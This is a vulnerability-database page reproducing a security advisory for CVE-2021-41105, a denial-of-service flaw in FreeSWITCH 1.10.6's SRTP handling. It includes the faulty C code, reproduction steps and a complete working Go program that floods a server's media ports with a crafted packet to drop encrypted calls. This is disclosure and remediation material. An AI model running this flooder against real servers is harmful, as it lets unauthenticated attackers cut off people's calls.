Lucene search
K

FreeSWITCH 1.10.6 SRTP Packet Denial Of Service Vulnerability

🗓️ 26 Oct 2021 00:00:00Reported by Sandro GauciType 
zdt
 zdt
🔗 0day.today👁 447 Views

FreeSWITCH 1.10.6 SRTP Denial of Service Vulnerability fix in v1.10.

Related
Code
ReporterTitlePublishedViews
Family
AlpineLinux
CVE-2021-41105
25 Oct 202122:05
alpinelinux
Circl
CVE-2021-41105
26 Oct 202102:14
circl
CNNVD
FreeSWITCH 安全漏洞
25 Oct 202100:00
cnnvd
CVE
CVE-2021-41105
25 Oct 202122:05
cve
Cvelist
CVE-2021-41105 FreeSWITCH susceptible to Denial of Service via invalid SRTP packets
25 Oct 202122:05
cvelist
EUVD
EUVD-2021-28242
3 Oct 202520:07
euvd
NVD
CVE-2021-41105
25 Oct 202122:15
nvd
OpenVAS
FreeSWITCH < 1.10.7 Multiple Vulnerabilities
27 Oct 202100:00
openvas
OSV
ALPINE-CVE-2021-41105
25 Oct 202122:15
osv
Packet Storm
FreeSWITCH 1.10.6 SRTP Packet Denial Of Service
25 Oct 202100:00
packetstorm
Rows per page
# FreeSWITCH susceptible to Denial of Service via invalid SRTP packets

- Fixed versions: v1.10.7
- Enable Security Advisory: https://github.com/EnableSecurity/advisories/tree/master/ES2021-09-freeswitch-srtp-dos
- Vendor Security Advisory: https://github.com/signalwire/freeswitch/security/advisories/GHSA-jh42-prph-gp36
- Other references: CVE-2021-41105
- Tested vulnerable versions: <= v1.10.6
- Timeline:
  - Report date: 2021-09-06
  - Triaged: 2021-09-10
  - Fix provided for testing: 2021-09-17
  - Vendor release with fix: 2021-10-24
  - Enable Security advisory: 2021-10-25

## TL;DR

When handling SRTP calls, FreeSWITCH is susceptible to a DoS where calls can be terminated by remote attackers. This attack can be done continuously, thus denying encrypted calls during the attack.

## Description

When a media port that is handling SRTP traffic is flooded with a specially crafted SRTP packet, the call is terminated leading to denial of service. This issue was reproduced when using the SDES key exchange mechanism in a SIP environment as well as when using the DTLS key exchange mechanism in a WebRTC environment.

The call disconnection occurs due to line 6331 in the source file `switch_rtp.c`, which disconnects the call when the total number of SRTP errors reach a hard-coded threshold (100):

```c
if (errs >= MAX_SRTP_ERRS) {
    // ...
    switch_channel_hangup(channel, SWITCH_CAUSE_SRTP_READ_ERROR);
}
```

## Impact

By abusing this vulnerability, an attacker is able to disconnect any ongoing calls that are using SRTP. The attack does not require authentication or any special foothold in the caller's or the callee's network.

## How to reproduce the issue

1. Prepare a FreeSWITCH instance that is publicly available and that can handle SRTP calls (`<X-PRE-PROCESS cmd="set" data="rtp_secure_media=true"/>`)
2. Prepare two SIP clients that can handle SRTP communication, such as Zoiper, and register against the FreeSWITCH instance
3. Prepare an attacker machine which has a different IP than that of the caller, callee or the FreeSWITCH instance
4. Save the below Go code and compile the application, naming it `freeswitch-srtp-dos`
5. Copy `freeswitch-srtp-dos` to the attacker machine
6. Perform a call between the agents using SRTP
7. Run the `freeswitch-srtp-dos` application against the target FreeSWITCH server: `./freeswitch-srtp-dos -ip <freeswitch_ip>`
8. Observe that when the active media ports are reached, FreeSWITCH will report "SRTP audio unprotect failed with code 21" multiple times, until the call is terminated

```go
package main

import (
  "flag"
  "fmt"
  "net"
)

func main() {
  var minport, maxport, count int
  var ip string

  flag.IntVar(&minport, "min-port", 16384, "port-range minimum value")
  flag.IntVar(&maxport, "max-port", 32768, "port-range maximum value")
  flag.IntVar(&count, "count", 200, "packet count per port")
  flag.StringVar(&ip, "ip", "", "target IPv4 address")
  flag.Parse()

  listener, err := net.ListenPacket("udp", "0.0.0.0:0")
  if err != nil {
    panic(err)
  }

  fmt.Printf("sending %d packets on each port, port range %d-%d\n",
    count, minport, maxport)

  addr := &net.UDPAddr{IP: net.ParseIP(ip)}
  for i := minport; i < maxport+1; i++ {
    fmt.Printf("\rattacking port: %d", i)
    addr.Port = i
    for j := 0; j < count; j++ {
      listener.WriteTo([]byte("\x80\x00p(\t\xcd-\x15\xfd>\\\x86A"), addr)
    }
  }
}
```

## Solution and recommendations

Upgrade to a version of FreeSWITCH that fixes this issue.

Our suggestion to the FreeSWITCH developers was the following:

> Instead of disconnecting the call, FreeSWITCH should simply ignore packets that fail message authentication or replay checks.

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

26 Oct 2021 00:00Current
0.2Low risk
Vulners AI Score0.2
CVSS 3.17.5
CVSS 25
EPSS0.0244
447